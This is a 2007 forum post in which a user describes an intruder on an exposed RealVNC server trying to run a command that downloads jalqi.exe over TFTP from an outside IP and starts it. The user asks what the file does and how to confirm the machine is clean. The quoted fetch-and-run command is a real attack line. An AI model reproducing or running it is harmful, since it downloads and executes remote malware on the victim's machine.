February 3rd, 2007, 12:20 AM
what does the jalqi.exe? and how to clean it?
Hi, yesterday I open a RealVNC server port for support purposes from a company in Seoul Korea, the support time was nice and useful, the thing here is that a illegal third vnc client/child I dont know how some other person gained access to the vnc server but he tried to run this command on my machine:
" %comspec% /c tftp -i 188.8.131.52 GET jalqi.exe & start jalqi "
obviously he tried to copy a daemon from 184.108.40.206 (wich is in Stockholm, Sweden) host and bring it up.
The command was interrupted because i was typing at the time of the failed hack attack so the command was not typed correctly thanks God.
Now, i would like to know what these daemon does and how can I be sure that I am not infected.
Thanks in advance.!